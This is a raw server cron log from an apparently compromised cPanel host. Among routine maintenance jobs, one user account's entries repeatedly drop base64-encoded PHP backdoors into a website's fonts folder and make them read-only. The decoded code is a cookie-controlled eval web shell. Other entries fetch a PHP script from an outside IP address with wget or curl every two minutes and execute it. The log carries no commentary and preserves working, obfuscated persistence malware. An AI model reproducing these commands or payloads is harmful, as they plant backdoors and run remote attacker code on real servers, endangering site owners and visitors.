Sep  4 06:55:02 ip-184-168-122-23 CROND[10459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:55:02 ip-184-168-122-23 CROND[10457]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:56:01 ip-184-168-122-23 CROND[10559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:56:01 ip-184-168-122-23 CROND[10561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:56:01 ip-184-168-122-23 CROND[10564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:56:01 ip-184-168-122-23 CROND[10562]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:56:01 ip-184-168-122-23 CROND[10563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:57:01 ip-184-168-122-23 CROND[10668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:57:01 ip-184-168-122-23 CROND[10671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:57:01 ip-184-168-122-23 CROND[10670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:57:01 ip-184-168-122-23 CROND[10672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:58:01 ip-184-168-122-23 CROND[10884]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:58:02 ip-184-168-122-23 CROND[10886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:58:02 ip-184-168-122-23 CROND[10887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:58:02 ip-184-168-122-23 CROND[10888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:58:02 ip-184-168-122-23 CROND[10891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:59:01 ip-184-168-122-23 CROND[10993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:59:01 ip-184-168-122-23 CROND[10995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:59:01 ip-184-168-122-23 CROND[10996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:59:01 ip-184-168-122-23 CROND[10997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:00:02 ip-184-168-122-23 CROND[11104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:00:02 ip-184-168-122-23 CROND[11105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:00:02 ip-184-168-122-23 CROND[11111]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 07:00:02 ip-184-168-122-23 CROND[11113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:00:02 ip-184-168-122-23 CROND[11112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:00:02 ip-184-168-122-23 CROND[11115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:00:02 ip-184-168-122-23 CROND[11116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:00:02 ip-184-168-122-23 CROND[11122]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:01:01 ip-184-168-122-23 CROND[11233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:01:01 ip-184-168-122-23 CROND[11235]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 07:01:01 ip-184-168-122-23 CROND[11238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:01:01 ip-184-168-122-23 CROND[11239]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 07:01:01 ip-184-168-122-23 CROND[11240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:01:01 ip-184-168-122-23 CROND[11241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11239]: starting 0anacron
Sep  4 07:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11255]: finished 0anacron
Sep  4 07:02:01 ip-184-168-122-23 CROND[11348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:02:01 ip-184-168-122-23 CROND[11351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:02:01 ip-184-168-122-23 CROND[11350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:02:01 ip-184-168-122-23 CROND[11353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:02:01 ip-184-168-122-23 CROND[11352]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:03:01 ip-184-168-122-23 CROND[11462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:03:01 ip-184-168-122-23 CROND[11464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:03:01 ip-184-168-122-23 CROND[11463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:03:01 ip-184-168-122-23 CROND[11461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:04:01 ip-184-168-122-23 CROND[11585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:04:01 ip-184-168-122-23 CROND[11583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:04:01 ip-184-168-122-23 CROND[11584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:04:01 ip-184-168-122-23 CROND[11586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:04:01 ip-184-168-122-23 CROND[11587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:05:01 ip-184-168-122-23 CROND[11781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:05:01 ip-184-168-122-23 CROND[11785]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:05:01 ip-184-168-122-23 CROND[11786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:05:01 ip-184-168-122-23 CROND[11783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:05:01 ip-184-168-122-23 CROND[11787]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 07:05:01 ip-184-168-122-23 CROND[11788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:05:01 ip-184-168-122-23 CROND[11784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:06:01 ip-184-168-122-23 CROND[11904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:06:01 ip-184-168-122-23 CROND[11906]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 07:06:01 ip-184-168-122-23 CROND[11910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:06:01 ip-184-168-122-23 CROND[11909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 07:06:01 ip-184-168-122-23 CROND[11911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:07:01 ip-184-168-122-23 CROND[12013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 07:07:01 ip-184-168-122-23 CROND[12014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
